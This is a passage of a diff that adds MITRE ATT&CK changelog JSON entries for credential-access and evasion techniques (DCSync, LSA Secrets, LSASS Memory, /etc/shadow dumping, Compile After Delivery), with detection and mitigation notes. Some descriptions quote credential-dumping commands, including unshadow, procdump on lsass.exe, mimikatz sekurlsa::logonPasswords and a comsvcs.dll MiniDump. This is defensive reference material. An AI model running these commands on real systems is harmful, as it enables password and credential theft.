in network or service utilization. Real-time, automated, and qualitative study of the network traffic can identify a sudden surge in one type of protocol can be used to detect a reflection amplification DoS event as it starts. Often, the lead time may be small and the indicator of an event availability of the network or service drops. The analysis tools mentioned can then be used to determine the type of DoS causing the outage and help with remediation.", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_impact_type": [ + "Availability" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows", + "IaaS", + "Linux", + "macOS" + ], + "x_mitre_version": "1.4", + "detailed_diff": "{\"dictionary_item_added\": {\"root['x_mitre_deprecated']\": false}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-10-15 16:04:34.495000+00:00\", \"old_value\": \"2023-03-30 21:01:41.052000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.2.0\", \"old_value\": \"3.1.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.4\", \"old_value\": \"1.3\"}}, \"iterable_item_removed\": {\"root['x_mitre_platforms'][1]\": \"Azure AD\", \"root['x_mitre_platforms'][2]\": \"Office 365\", \"root['x_mitre_platforms'][3]\": \"SaaS\", \"root['x_mitre_platforms'][7]\": \"Google Workspace\"}}", + "previous_version": "1.3", + "version_change": "1.3 \u2192 1.4", + "changelog_mitigations": { + "shared": [ + "M1037: Filter Network Traffic" + ], + "new": [], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0013: Sensor Health (Host Status)", + "DS0029: Network Traffic (Network Traffic Flow)" + ], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--d0b4fcdb-d67d-4ed2-99ce-788b12f8c0f4", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-02-11 18:46:56.263000+00:00", + "modified": "2024-09-25 20:48:04.491000+00:00", + "name": "/etc/passwd and /etc/shadow", + "description": "Adversaries may attempt to dump the contents of /etc/passwd and /etc/shadow to enable offline password cracking. Most modern Linux operating systems use a combination of /etc/passwd and /etc/shadow to store user account information including password hashes in /etc/shadow. By default, /etc/shadow is only readable by the root user.(Citation: Linux Password and Shadow File Formats)\n\nThe Linux utility, unshadow, can be used to combine the two files in a format suited for password cracking utilities such as John the Ripper:(Citation: nixCraft - John the Ripper) # /usr/bin/unshadow /etc/passwd /etc/shadow > /tmp/crack.password.db\n", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "credential-access" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1003/008", + "external_id": "T1003.008" + }, + { + "source_name": "Linux Password and Shadow File Formats", + "description": "The Linux Documentation Project. (n.d.). Linux Password and Shadow File Formats. Retrieved February 19, 2020.", + "url": "https://www.tldp.org/LDP/lame/LAME/linux-admin-made-easy/shadow-file-formats.html" + }, + { + "source_name": "nixCraft - John the Ripper", + "description": "Vivek Gite. (2014, September 17). Linux Password Cracking: Explain unshadow and john Commands (John the Ripper Tool). Retrieved February 19, 2020.", + "url": "https://www.cyberciti.biz/faq/unix-linux-password-cracking-john-the-ripper/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_data_sources": [ + "File: File Access", + "Command: Command Execution" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "The AuditD monitoring tool, which ships stock in many Linux distributions, can be used to watch for hostile processes attempting to access /etc/passwd and /etc/shadow, alerting on the pid, process name, and arguments of such programs.", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"dictionary_item_added\": {\"root['x_mitre_attack_spec_version']\": \"3.2.0\", \"root['x_mitre_deprecated']\": false}, \"dictionary_item_removed\": {\"root['x_mitre_permissions_required']\": [\"root\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-09-25 20:48:04.491000+00:00\", \"old_value\": \"2020-03-20 15:56:55.022000+00:00\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.1\", \"old_value\": \"1.0\"}}}", + "previous_version": "1.0", + "version_change": "1.0 \u2192 1.1", + "changelog_mitigations": { + "shared": [ + "M1026: Privileged Account Management", + "M1027: Password Policies" + ], + "new": [], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0017: Command (Command Execution)", + "DS0022: File (File Access)" + ], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--f303a39a-6255-4b89-aecc-18c4d8ca7163", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-02-11 18:45:34.293000+00:00", + "modified": "2024-10-15 15:54:08.312000+00:00", + "name": "DCSync", + "description": "Adversaries may attempt to access credentials and other sensitive information by abusing a Windows Domain Controller's application programming interface (API)(Citation: Microsoft DRSR Dec 2017) (Citation: Microsoft GetNCCChanges) (Citation: Samba DRSUAPI) (Citation: Wine API samlib.dll) to simulate the replication process from a remote domain controller using a technique called DCSync.\n\nMembers of the Administrators, Domain Admins, and Enterprise Admin groups or computer accounts on the domain controller are able to run DCSync to pull password data(Citation: ADSecurity Mimikatz DCSync) from Active Directory, which may include current and historical hashes of potentially useful accounts such as KRBTGT and Administrators. The hashes can then in turn be used to create a [Golden Ticket](https://attack.mitre.org/techniques/T1558/001) for use in [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003)(Citation: Harmj0y Mimikatz and DCSync) or change an account's password as noted in [Account Manipulation](https://attack.mitre.org/techniques/T1098).(Citation: InsiderThreat ChangeNTLM July 2017)\n\nDCSync functionality has been included in the \"lsadump\" module in [Mimikatz](https://attack.mitre.org/software/S0002).(Citation: GitHub Mimikatz lsadump Module) Lsadump also includes NetSync, which performs DCSync over a legacy replication protocol.(Citation: Microsoft NRPC Dec 2017)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "credential-access" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1003/006", + "external_id": "T1003.006" + }, + { + "source_name": "GitHub Mimikatz lsadump Module", + "description": "Deply, B., Le Toux, V. (2016, June 5). module ~ lsadump. Retrieved August 7, 2017.", + "url": "https://github.com/gentilkiwi/mimikatz/wiki/module-~-lsadump" + }, + { + "source_name": "ADSecurity Mimikatz DCSync", + "description": "Metcalf, S. (2015, September 25). Mimikatz DCSync Usage, Exploitation, and Detection. Retrieved August 7, 2017.", + "url": "https://adsecurity.org/?p=1729" + }, + { + "source_name": "AdSecurity DCSync Sept 2015", + "description": "Metcalf, S. (2015, September 25). Mimikatz DCSync Usage, Exploitation, and Detection. Retrieved December 4, 2017.", + "url": "https://adsecurity.org/?p=1729" + }, + { + "source_name": "Microsoft DRSR Dec 2017", + "description": "Microsoft. (2017, December 1). MS-DRSR Directory Replication Service (DRS) Remote Protocol. Retrieved December 4, 2017.", + "url": "https://msdn.microsoft.com/library/cc228086.aspx" + }, + { + "source_name": "Microsoft NRPC Dec 2017", + "description": "Microsoft. (2017, December 1). MS-NRPC - Netlogon Remote Protocol. Retrieved December 6, 2017.", + "url": "https://msdn.microsoft.com/library/cc237008.aspx" + }, + { + "source_name": "Microsoft GetNCCChanges", + "description": "Microsoft. (n.d.). IDL_DRSGetNCChanges (Opnum 3). Retrieved December 4, 2017.", + "url": "https://msdn.microsoft.com/library/dd207691.aspx" + }, + { + "source_name": "Microsoft SAMR", + "description": "Microsoft. (n.d.). MS-SAMR Security Account Manager (SAM) Remote Protocol (Client-to-Server) - Transport. Retrieved December 4, 2017.", + "url": "https://msdn.microsoft.com/library/cc245496.aspx" + }, + { + "source_name": "Samba DRSUAPI", + "description": "SambaWiki. (n.d.). DRSUAPI. Retrieved December 4, 2017.", + "url": "https://wiki.samba.org/index.php/DRSUAPI" + }, + { + "source_name": "Harmj0y DCSync Sept 2015", + "description": "Schroeder, W. (2015, September 22). Mimikatz and DCSync and ExtraSids, Oh My. Retrieved December 4, 2017.", + "url": "http://www.harmj0y.net/blog/redteaming/mimikatz-and-dcsync-and-extrasids-oh-my/" + }, + { + "source_name": "Harmj0y Mimikatz and DCSync", + "description": "Schroeder, W. (2015, September 22). Mimikatz and DCSync and ExtraSids, Oh My. Retrieved September 23, 2024.", + "url": "https://blog.harmj0y.net/redteaming/mimikatz-and-dcsync-and-extrasids-oh-my/" + }, + { + "source_name": "InsiderThreat ChangeNTLM July 2017", + "description": "Warren, J. (2017, July 11). Manipulating User Passwords with Mimikatz. Retrieved December 4, 2017.", + "url": "https://blog.stealthbits.com/manipulating-user-passwords-with-mimikatz-SetNTLM-ChangeNTLM" + }, + { + "source_name": "Wine API samlib.dll", + "description": "Wine API. (n.d.). samlib.dll. Retrieved December 4, 2017.", + "url": "https://source.winehq.org/WineAPI/samlib.html" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "ExtraHop", + "Vincent Le Toux" + ], + "x_mitre_data_sources": [ + "Active Directory: Active Directory Object Access", + "Network Traffic: Network Traffic Content", + "Network Traffic: Network Traffic Flow" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "Monitor domain controller logs for replication requests and other unscheduled activity possibly associated with DCSync.(Citation: Microsoft DRSR Dec 2017) (Citation: Microsoft GetNCCChanges) (Citation: Samba DRSUAPI) Also monitor for network protocols(Citation: Microsoft DRSR Dec 2017) (Citation: Microsoft NRPC Dec 2017) and other replication requests(Citation: Microsoft SAMR) from IPs not associated with known domain controllers.(Citation: AdSecurity DCSync Sept 2015)\n\nNote: Domain controllers may not log replication requests originating from the default domain controller account.(Citation: Harmj0y DCSync Sept 2015)", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"dictionary_item_added\": {\"root['x_mitre_attack_spec_version']\": \"3.2.0\", \"root['x_mitre_deprecated']\": false}, \"dictionary_item_removed\": {\"root['x_mitre_permissions_required']\": [\"Administrator\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-10-15 15:54:08.312000+00:00\", \"old_value\": \"2021-04-22 20:20:14.595000+00:00\"}, \"root['external_references'][6]['description']\": {\"new_value\": \"Schroeder, W. (2015, September 22). Mimikatz and DCSync and ExtraSids, Oh My. Retrieved September 23, 2024.\", \"old_value\": \"Schroeder, W. (2015, September 22). Mimikatz and DCSync and ExtraSids, Oh My. Retrieved August 7, 2017.\", \"new_path\": \"root['external_references'][10]['description']\"}, \"root['external_references'][6]['url']\": {\"new_value\": \"https://blog.harmj0y.net/redteaming/mimikatz-and-dcsync-and-extrasids-oh-my/\", \"old_value\": \"http://www.harmj0y.net/blog/redteaming/mimikatz-and-dcsync-and-extrasids-oh-my/\", \"new_path\": \"root['external_references'][10]['url']\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.1\", \"old_value\": \"1.0\"}}}", + "previous_version": "1.0", + "version_change": "1.0 \u2192 1.1", + "changelog_mitigations": { + "shared": [ + "M1015: Active Directory Configuration", + "M1026: Privileged Account Management", + "M1027: Password Policies" + ], + "new": [], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0026: Active Directory (Active Directory Object Access)", + "DS0029: Network Traffic (Network Traffic Content)", + "DS0029: Network Traffic (Network Traffic Flow)" + ], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--1ecfdab8-7d59-4c98-95d4-dc41970f57fc", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-02-21 16:22:09.493000+00:00", + "modified": "2024-08-13 15:49:17.591000+00:00", + "name": "LSA Secrets", + "description": "Adversaries with SYSTEM access to a host may attempt to access Local Security Authority (LSA) secrets, which can contain a variety of different credential materials, such as credentials for service accounts.(Citation: Passcape LSA Secrets)(Citation: Microsoft AD Admin Tier Model)(Citation: Tilbury Windows Credentials) LSA secrets are stored in the registry at HKEY_LOCAL_MACHINE\\SECURITY\\Policy\\Secrets. LSA secrets can also be dumped from memory.(Citation: ired Dumping LSA Secrets)\n\n[Reg](https://attack.mitre.org/software/S0075) can be used to extract from the Registry. [Mimikatz](https://attack.mitre.org/software/S0002) can be used to extract secrets from memory.(Citation: ired Dumping LSA Secrets)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "credential-access" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1003/004", + "external_id": "T1003.004" + }, + { + "source_name": "Tilbury Windows Credentials", + "description": "Chad Tilbury. (2017, August 8). 1Windows Credentials: Attack, Mitigation, Defense. Retrieved February 21, 2020.", + "url": "https://www.first.org/resources/papers/conf2017/Windows-Credentials-Attacks-and-Mitigation-Techniques.pdf" + }, + { + "source_name": "ired Dumping LSA Secrets", + "description": "Mantvydas Baranauskas. (2019, November 16). Dumping LSA Secrets. Retrieved February 21, 2020.", + "url": "https://ired.team/offensive-security/credential-access-and-credential-dumping/dumping-lsa-secrets" + }, + { + "source_name": "Microsoft AD Admin Tier Model", + "description": "Microsoft. (2019, February 14). Active Directory administrative tier model. Retrieved February 21, 2020.", + "url": "https://docs.microsoft.com/en-us/windows-server/identity/securing-privileged-access/securing-privileged-access-reference-material?redirectedfrom=MSDN" + }, + { + "source_name": "Passcape LSA Secrets", + "description": "Passcape. (n.d.). Windows LSA secrets. Retrieved February 21, 2020.", + "url": "https://www.passcape.com/index.php?section=docsys&cmd=details&id=23" + }, + { + "source_name": "Powersploit", + "description": "PowerSploit. (n.d.). Retrieved December 4, 2014.", + "url": "https://github.com/mattifestation/PowerSploit" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Ed Williams, Trustwave, SpiderLabs" + ], + "x_mitre_data_sources": [ + "Windows Registry: Windows Registry Key Access", + "Command: Command Execution" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "Monitor processes and command-line arguments for program execution that may be indicative of credential dumping. Remote access tools may contain built-in features or incorporate existing tools like Mimikatz. PowerShell scripts also exist that contain credential dumping functionality, such as PowerSploit's Invoke-Mimikatz module,(Citation: Powersploit) which may require additional logging features to be configured in the operating system to collect necessary information for analysis.", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"dictionary_item_added\": {\"root['x_mitre_attack_spec_version']\": \"3.2.0\", \"root['x_mitre_deprecated']\": false}, \"dictionary_item_removed\": {\"root['x_mitre_permissions_required']\": [\"SYSTEM\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-08-13 15:49:17.591000+00:00\", \"old_value\": \"2021-04-21 21:12:38.361000+00:00\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.1\", \"old_value\": \"1.0\"}}}", + "previous_version": "1.0", + "version_change": "1.0 \u2192 1.1", + "changelog_mitigations": { + "shared": [ + "M1017: User Training", + "M1026: Privileged Account Management", + "M1027: Password Policies" + ], + "new": [], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0017: Command (Command Execution)", + "DS0024: Windows Registry (Windows Registry Key Access)" + ], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--65f2d882-3f41-4d48-8a06-29af77ec9f90", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-02-11 18:41:44.783000+00:00", + "modified": "2024-08-13 13:52:45.379000+00:00", + "name": "LSASS Memory", + "description": "Adversaries may attempt to access credential material stored in the process memory of the Local Security Authority Subsystem Service (LSASS). After a user logs on, the system generates and stores a variety of credential materials in LSASS process memory. These credential materials can be harvested by an administrative user or SYSTEM and used to conduct [Lateral Movement](https://attack.mitre.org/tactics/TA0008) using [Use Alternate Authentication Material](https://attack.mitre.org/techniques/T1550).\n\nAs well as in-memory techniques, the LSASS process memory can be dumped from the target host and analyzed on a local system.\n\nFor example, on the target host use procdump:\n\n* procdump -ma lsass.exe lsass_dump\n\nLocally, mimikatz can be run using:\n\n* sekurlsa::Minidump lsassdump.dmp\n* sekurlsa::logonPasswords\n\nBuilt-in Windows tools such as `comsvcs.dll` can also be used:\n\n* rundll32.exe C:\\Windows\\System32\\comsvcs.dll MiniDump PID lsass.dmp full(Citation: Volexity Exchange Marauder March 2021)(Citation: Symantec Attacks Against Government Sector)\n\nSimilar to [Image File Execution Options Injection](https://attack.mitre.org/techniques/T1546/012), the silent process exit mechanism can be abused to create a memory dump of `lsass.exe` through Windows Error Reporting (`WerFault.exe`).(Citation: Deep Instinct LSASS)\n\nWindows Security Support Provider (SSP) DLLs are loaded into LSASS process at system start. Once loaded into the LSA, SSP DLLs have access to encrypted and plaintext passwords that are stored in Windows, such as any logged-on user's Domain password or smart card PINs. The SSP configuration is stored in two Registry keys: HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\Security Packages and HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\OSConfig\\Security Packages. An adversary may modify these Registry keys to add new SSPs, which will be loaded the next time the system boots, or when the AddSecurityPackage Windows API function is called.(Citation: Graeber 2014)\n\nThe following SSPs can be used to access credentials:\n\n* Msv: Interactive logons, batch logons, and service logons are done through the MSV authentication package.\n* Wdigest: The Digest Authentication protocol is designed for use with Hypertext Transfer Protocol (HTTP) and Simple Authentication Security Layer (SASL) exchanges.(Citation: TechNet Blogs Credential Protection)\n* Kerberos: Preferred for mutual client-server domain authentication in Windows 2000 and later.\n* CredSSP: Provides SSO and Network Level Authentication for Remote Desktop Services.(Citation: TechNet Blogs Credential Protection)\n", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "credential-access" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1003/001", + "external_id": "T1003.001" + }, + { + "source_name": "Medium Detecting Attempts to Steal Passwords from Memory", + "description": "French, D. (2018, October 2). Detecting Attempts to Steal Passwords from Memory. Retrieved October 11, 2019.", + "url": "https://medium.com/threatpunter/detecting-attempts-to-steal-passwords-from-memory-558f16dce4ea" + }, + { + "source_name": "Deep Instinct LSASS", + "description": "Gilboa, A. (2021, February 16). LSASS Memory Dumps are Stealthier than Ever Before - Part 2. Retrieved December 27, 2023.", + "url": "https://www.deepinstinct.com/blog/lsass-memory-dumps-are-stealthier-than-ever-before-part-2" + }, + { + "source_name": "Graeber 2014", + "description": "Graeber, M. (2014, October). Analysis of Malicious Security Support Provider DLLs. Retrieved March 1, 2017.", + "url": "http://docplayer.net/20839173-Analysis-of-malicious-security-support-provider-dlls.html" + }, + { + "source_name": "Volexity Exchange Marauder March 2021", + "description": "Gruzweig, J. et al. (2021, March 2). Operation Exchange Marauder: Active Exploitation of Multiple Zero-Day Microsoft Exchange Vulnerabilities. Retrieved March 3, 2021.", + "url": "https://www.volexity.com/blog/2021/03/02/active-exploitation-of-microsoft-exchange-zero-day-vulnerabilities/" + }, + { + "source_name": "Powersploit", + "description": "PowerSploit. (n.d.). Retrieved December 4, 2014.", + "url": "https://github.com/mattifestation/PowerSploit" + }, + { + "source_name": "Symantec Attacks Against Government Sector", + "description": "Symantec. (2021, June 10). Attacks Against the Government Sector. Retrieved September 28, 2021.", + "url": "https://symantec.broadcom.com/hubfs/Attacks-Against-Government-Sector.pdf" + }, + { + "source_name": "TechNet Blogs Credential Protection", + "description": "Wilson, B. (2016, April 18). The Importance of KB2871997 and KB2928120 for Credential Protection. Retrieved April 11, 2018.", + "url": "https://blogs.technet.microsoft.com/askpfeplat/2016/04/18/the-importance-of-kb2871997-and-kb2928120-for-credential-protection/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Edward Millington", + "Ed Williams, Trustwave, SpiderLabs", + "Olaf Hartong, Falcon Force", + "Michael Forret, Quorum Cyber" + ], + "x_mitre_data_sources": [ + "Process: Process Access", + "Windows Registry: Windows Registry Key Modification", + "Process: Process Creation", + "Process: OS API Execution", + "Logon Session: Logon Session Creation", + "Command: Command Execution", + "File: File Creation" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "Monitor for unexpected processes interacting with LSASS.exe.(Citation: Medium Detecting Attempts to Steal Passwords from Memory) Common credential dumpers such as Mimikatz access LSASS.exe by opening the process, locating the LSA secrets key, and decrypting the sections in memory where credential details are stored. Credential dumpers may also use methods for reflective [Process Injection](https://attack.mitre.org/techniques/T1055) to reduce potential indicators of malicious activity.\n\nOn Windows 8.1 and Windows Server 2012 R2, monitor Windows Logs for LSASS.exe creation to verify that LSASS started as a protected process.\n\nMonitor processes and command-line arguments for program execution that may be indicative of credential dumping. Remote access tools may contain built-in features or incorporate existing tools like Mimikatz. PowerShell scripts also exist that contain credential dumping functionality, such as PowerSploit's Invoke-Mimikatz module,(Citation: Powersploit) which may require additional logging features to be configured in the operating system to collect necessary information for analysis.", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.5", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-08-13 13:52:45.379000+00:00\", \"old_value\": \"2023-12-27 17:57:20.003000+00:00\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.5\", \"old_value\": \"1.4\"}}, \"iterable_item_added\": {\"root['x_mitre_contributors'][3]\": \"Michael Forret, Quorum Cyber\"}}", + "previous_version": "1.4", + "version_change": "1.4 \u2192 1.5", + "changelog_mitigations": { + "shared": [ + "M1017: User Training", + "M1025: Privileged Process Integrity", + "M1026: Privileged Account Management", + "M1027: Password Policies", + "M1028: Operating System Configuration", + "M1040: Behavior Prevention on Endpoint", + "M1043: Credential Access Protection" + ], + "new": [], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0009: Process (OS API Execution)", + "DS0009: Process (Process Access)", + "DS0009: Process (Process Creation)", + "DS0017: Command (Command Execution)", + "DS0022: File (File Creation)", + "DS0024: Windows Registry (Windows Registry Key Modification)", + "DS0028: Logon Session (Logon Session Creation)" + ], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--c726e0a2-a57a-4b7b-a973-d0f013246617", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-03-16 15:30:57.711000+00:00", + "modified": "2024-10-03 17:43:14.766000+00:00", + "name": "Compile After Delivery", + "description": "Adversaries may attempt to make payloads difficult to discover and analyze by delivering files to victims as uncompiled code. Text-based source code files may subvert analysis and scrutiny from protections targeting executables/binaries. These payloads will need to be compiled before execution; typically via native utilities such as ilasm.exe(Citation: ATTACK IQ), csc.exe, or GCC/MinGW.(Citation: ClearSky MuddyWater Nov 2018)\n\nSource code payloads may also be encrypted, encoded, and/or embedded within other files, such as those delivered as a [Phishing](https://attack.mitre.org/techniques/T1566). Payloads may also be delivered in formats unrecognizable and inherently benign to the native OS (ex: EXEs on macOS/Linux) before later being (re)compiled into a proper executable binary with a bundled compiler and execution framework.(Citation: TrendMicro WindowsAppMac)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1027/004", + "external_id": "T1027.004" + }, + { + "source_name": "ClearSky MuddyWater Nov 2018", + "description": "ClearSky Cyber Security. (2018, November). MuddyWater Operations in Lebanon and Oman: Using an Israeli compromised domain for a two-stage campaign. Retrieved November 29, 2018.", + "url": "https://www.clearskysec.com/wp-content/uploads/2018/11/MuddyWater-Operations-in-Lebanon-and-Oman.pdf" + }, + { + "source_name": "ATTACK IQ", + "description": "Federico Quattrin, Nick Desler, Tin Tam, & Matthew Rutkoske. (2023, March 16). Hiding in Plain Sight: Monitoring and Testing for Living-Off-the-Land Binaries. Retrieved July 15, 2024.", + "url": "https://www.attackiq.com/2023/03/16/hiding-in-plain-sight/" + }, + { + "source_name": "TrendMicro WindowsAppMac", + "description": "Trend Micro. (2019, February 11). Windows App Runs on Mac, Downloads Info Stealer and Adware. Retrieved April 25, 2019.", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/windows-app-runs-on-mac-downloads-info-stealer-and-adware/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Praetorian", + "Ye Yint Min Thu Htut, Offensive Security Team, DBS Bank", + "Liran Ravich, CardinalOps" + ], + "x_mitre_data_sources": [ + "Command: Command Execution", + "File: File Creation", + "Process: Process Creation", + "File: File Metadata" + ], + "x_mitre_defense_bypassed": [ + "Signature-based detection", + "Host intrusion prevention systems", + "Anti-virus", + "Binary Analysis", + "Static File Analysis" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "Monitor the execution file paths and command-line arguments for common compilers, such as csc.exe and GCC/MinGW, and correlate with other suspicious behavior to reduce false positives from normal user and administrator behavior. The compilation of payloads may also generate file creation and/or file write events. Look for non-native binary formats and cross-platform compiler and execution frameworks like Mono and determine if they have a legitimate purpose on the system.(Citation: TrendMicro WindowsAppMac) Typically these should only be used in specific and limited cases, like for software development.", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "x_mitre_system_requirements": [ + "Compiler software (either native to the system or delivered by the adversary)" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"dictionary_item_added\": {\"root['x_mitre_attack_spec_version']\": \"3.2.0\", \"root['x_mitre_deprecated']\": false}, \"dictionary_item_removed\": {\"root['x_mitre_permissions_required']\": [\"User\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-10-03 17:43:14.766000+00:00\", \"old_value\": \"2020-03-29 20:59:32.293000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may attempt to make payloads difficult to discover and analyze by delivering files to victims as uncompiled code. Text-based source code files may subvert analysis and scrutiny from protections targeting executables/binaries. These payloads will need to be compiled before execution; typically via native utilities such as ilasm.exe(Citation: ATTACK IQ), csc.exe, or GCC/MinGW.(Citation: ClearSky MuddyWater Nov 2018)\\n\\nSource code payloads may also be encrypted, encoded, and/or embedded within other files, such as those delivered as a [Phishing](https://attack.mitre.org/techniques/T1566). Payloads may also be delivered in formats unrecognizable and inherently benign to the native OS (ex: EXEs on macOS/Linux) before later being (re)compiled into a proper executable binary with a bundled compiler and execution framework.(Citation: TrendMicro WindowsAppMac)\", \"old_value\": \"Adversaries may attempt to make payloads difficult to discover and analyze by delivering files to victims as uncompiled code. Text-based source code files may subvert analysis and scrutiny from protections targeting executables/binaries. These payloads will need to be compiled before execution; typically via native utilities such as csc.exe or GCC/MinGW.(Citation: ClearSky MuddyWater Nov 2018)\\n\\nSource code payloads may also be encrypted, encoded, and/or embedded within other files, such as those delivered as a [Phishing](https://attack.mitre.org/techniques/T1566). Payloads may also be delivered in formats unrecognizable and inherently benign to the native OS (ex: EXEs on macOS/Linux) before later being (re)compiled into a proper executable binary with a bundled compiler and execution framework.(Citation: TrendMicro WindowsAppMac)\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +1,3 @@\\n-Adversaries may attempt to make payloads difficult to discover and analyze by delivering files to victims as uncompiled code. Text-based source code files may subvert analysis and scrutiny from protections targeting executables/binaries. These payloads will need to be compiled before execution; typically via native utilities such as csc.exe or GCC/MinGW.(Citation: ClearSky MuddyWater Nov 2018)\\n+Adversaries may attempt to make payloads difficult to discover and analyze by delivering files to victims as uncompiled code. Text-based source code files may subvert analysis and scrutiny from protections targeting executables/binaries. These payloads will need to be compiled before execution; typically via native utilities such as ilasm.exe(Citation: ATTACK IQ), csc.exe, or GCC/MinGW.(Citation: ClearSky MuddyWater Nov 2018)\\n \\n Source code payloads may also be encrypted, encoded, and/or embedded within other files, such as those delivered as a [Phishing](https://attack.mitre.org/techniques/T1566). Payloads may also be delivered in formats unrecognizable and inherently benign to the native OS (ex: EXEs on macOS/Linux) before later being (re)compiled into a proper executable binary with a bundled compiler and execution framework.(Citation: TrendMicro WindowsAppMac)\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.1\", \"old_value\": \"1.0\"}}, \"iterable_item_added\": {\"root['external_references'][2]\": {\"source_name\": \"ATTACK IQ\", \"description\": \"Federico Quattrin, Nick Desler, Tin Tam, & Matthew Rutkoske. (2023, March 16). Hiding in Plain Sight: Monitoring and Testing for Living-Off-the-Land Binaries. Retrieved July 15, 2024.\", \"url\": 